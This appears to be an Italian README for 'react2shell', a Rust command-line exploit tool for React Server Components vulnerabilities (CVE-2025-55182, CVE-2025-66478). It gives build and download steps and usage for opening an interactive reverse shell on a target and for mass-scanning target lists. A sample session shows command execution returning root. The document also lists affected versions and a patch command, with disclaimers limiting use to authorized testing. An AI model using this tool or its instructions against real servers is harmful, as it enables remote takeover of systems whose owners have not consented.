
Uno strumento da riga di comando che sfrutta vulnerabilità nei React Server Components e nelle Server Actions (CVE-2025-55182, CVE-2025-66478) per ottenere l'esecuzione remota di codice (RCE) su server vulnerabili.
Uno strumento CLI per sfruttare le vulnerabilità di prototype pollution nei React Server Components / Server Actions (CVE-2025-55182 & CVE-2025-66478), consentendo l'esecuzione remota di codice (RCE) su server vulnerabili.
PoC originale : https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
ATTENZIONE: Questo strumento prende di mira una vulnerabilità critica (CVSS 10.0) attivamente sfruttata in natura. Usalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione al test.
Questo strumento è destinato esclusivamente a scopi educativi, test di sicurezza autorizzati, penetration testing con permesso e ricerca sulle vulnerabilità.
L'autore e i contributori declinano ogni responsabilità per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo strumento. Sei pienamente responsabile di garantire che il tuo utilizzo sia conforme a tutte le leggi, regolamenti e termini di servizio applicabili.
L'uso non autorizzato contro sistemi senza permesso è illegale nella maggior parte delle giurisdizioni e può comportare severe sanzioni.
git clone https://github.com/mantvmass/react2shell.git
cd react2shell
cargo build --release
Il binario si troverà in target/release/react2shell (o react2shell.exe su Windows).
Scarica dalla pagina Releases.
react2shell [COMMAND] [SOURCE]
open <URL>: Apre una shell inversa interattiva sul target (se vulnerabile).scan <FILE>: Scansiona una lista di target da un file (un URL per riga) per verificarne la vulnerabilità.# Open interactive shell
react2shell open http://vulnerable-target.com
# Scan multiple targets
react2shell scan targets.txt
# Scan single target
react2shell scan http://127.0.0.1:3000
[email protected]:3000 (js)
$ /help # Display all supported commands
Commands;
/new <URL> ; Switch URL target # Switch URL target
/use exec ; Execute command and wait for output # Switch to exec mode (waits for result)
/use exec-no-wait ; Execute command without waiting # Exec mode without waiting for output
/use js ; Execute JavaScript code # Switch back to JavaScript mode
/set timeout <ms> ; Set command timeout in milliseconds # Configure command timeout
/show options ; Show current configuration # Display current shell settings
/clear ; Clear screen # Clear the terminal screen
/exit or /quit ; Exit the shell # Exit the interactive shell
Examples;
ls -la # Example Linux command
whoami # Show current system user
console.log('Hello') # Example JavaScript command
[email protected]:3000 (js)
$ /use exec # Switch from JS mode to exec mode
[+] Switch shell mode to exec
[email protected]:3000 (exec)
$ whoami # Verify current execution user
root # Command output
Le applicazioni che utilizzano React Server Components con App Router sono affette se eseguono le seguenti versioni:
Le seguenti non sono affette:
La vulnerabilità esiste nelle versioni di React 19.0, 19.1.0, 19.1.1 e 19.2.0 nei seguenti pacchetti:
react-server-dom-webpackreact-server-dom-parcelreact-server-dom-turbopackSi raccomanda vivamente l'aggiornamento immediato alle versioni corrette, specialmente per ambienti di produzione.
La soluzione principale è aggiornare alle versioni corrette di React e Next.js.
Per le applicazioni Next.js, utilizza il fixer automatico ufficiale:
npx fix-react2shell-next
Maggiori info: vercel-labs/fix-react2shell-next
Vedi gli avvisi ufficiali:
Questo progetto è rilasciato esclusivamente a scopo educativo e per ricerca di sicurezza autorizzata. Ogni responsabilità per l'uso ricade sull'utente finale.